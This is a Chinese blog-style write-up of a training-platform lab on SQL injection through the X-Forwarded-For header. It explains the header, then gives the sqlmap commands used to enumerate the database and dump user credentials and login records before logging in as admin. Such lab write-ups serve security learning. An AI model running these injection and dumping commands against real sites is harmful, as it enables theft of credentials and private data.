墨者学院-X-Forwarded-For注⼊漏洞实战
墨者学院-X-Forwarded-For注⼊漏洞实战
前⾔:
刷题之前看到X--Forwarded-For,之前也了解过⼀点,⼜去百度了⼀下,原来X-Forwarded-For 是⼀个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引⼊,⽤来表⽰ HTTP
请求端真实 IP。如今它已经成为事实上的标准,被各⼤ HTTP 代理、负载均衡等转发服务⼴泛使⽤,并被写⼊ RFC 7239(Forwarded HTTP Extension)标准之中。
XFF 的内容由「英⽂逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每⼀级代理设备的 IP。
如果⼀个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,⽤户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:
X-Forwarded-For: IP0, IP1, IP2
Proxy3 直连服务器,它会给 XFF 追加 IP2,表⽰它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,Remote
Address来⾃ TCP 连接,表⽰与服务端建⽴ TCP 连接的设备 IP,在这个例⼦⾥就是 IP3。
Remote Address ⽆法伪造,因为建⽴ TCP 连接需要三次握⼿,如果伪造了源 IP,⽆法建⽴ TCP 连接,更不会有后⾯的 HTTP 请求。不同语⾔获取 Remote Address 的⽅式不⼀样,例如 php 是 $_SERVER["REMOTE_ADDR"]。
正⽂:
⾸先打开靶场环境,是⼀个POST提交登陆的界⾯
随便输⼊⽤户名和密码试试,结果js给我们弹出⼀串乱码
咱也看不懂,看到了中间的IP地址,怀疑是我们⾃⼰的IP地址,去ip138⼀看,果然是。
springframework漏洞 说明⽹站可能记录了我们的ip信息,与数据库交互,此时我怀疑这个就是数据库注⼊的点。
于是,我先⽤burp抓取了⼀个POST提交的数据包
这⾥没有X-Forwarded-For这⼀项,于是我将这个数据包复制到kali中,加⼊了X-Forwarded-For并把它设置为注⼊点
将⽂件保存为1.txt,⽤sqlmap尝试注⼊
sqlmap -r "/" --current-db --batch --threads 10
⼤功告成,获得了数据库名字为'webcalendar'.
接下来顺⽔推⾈,⼀层层注⼊,获得表名,列名
sqlmap -r "/" -D webcalendar --tables --batch --threads 10
先注⼊user表尝试
sqlmap -r "/" -D webcalendar -T user --columns --batch --threads 10
sqlmap -r "/" -D webcalendar -T user -C id,username,password --dump --batch --threads 10
此时,发现⼀个admin的⽤户,我们尝试⽤他登陆后台,直接登陆成功,获得了key。
虽然题⽬做完了,但我还是很好奇,另⼀个logins表⾥⾯到底有些什么,于是我⼜注⼊了logins表
sqlmap -r "/" -D webcalendar -T logins --columns --batch --threads 10
sqlmap -r "/" -D webcalendar -T logins -C id,loginip,logintime,password,status,username --dump --batch --threads 10
最后,我发现logins这个表⾥⾯记录的正是⽹站通过浏览器获得的我们的隐私信息,包括登陆的ip地址,登陆的时间等等。
到此,这题终于算是完结了。
反思:
当我们在向⽹站发送请求的时候,⽹站也会记录我们的⼀些信息,可能是ip地址,使⽤的浏览器,这些都属于了个⼈隐私的范畴。我们请求的同时,隐私也被窃取,所以⽹络安全的意思才更为重要。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论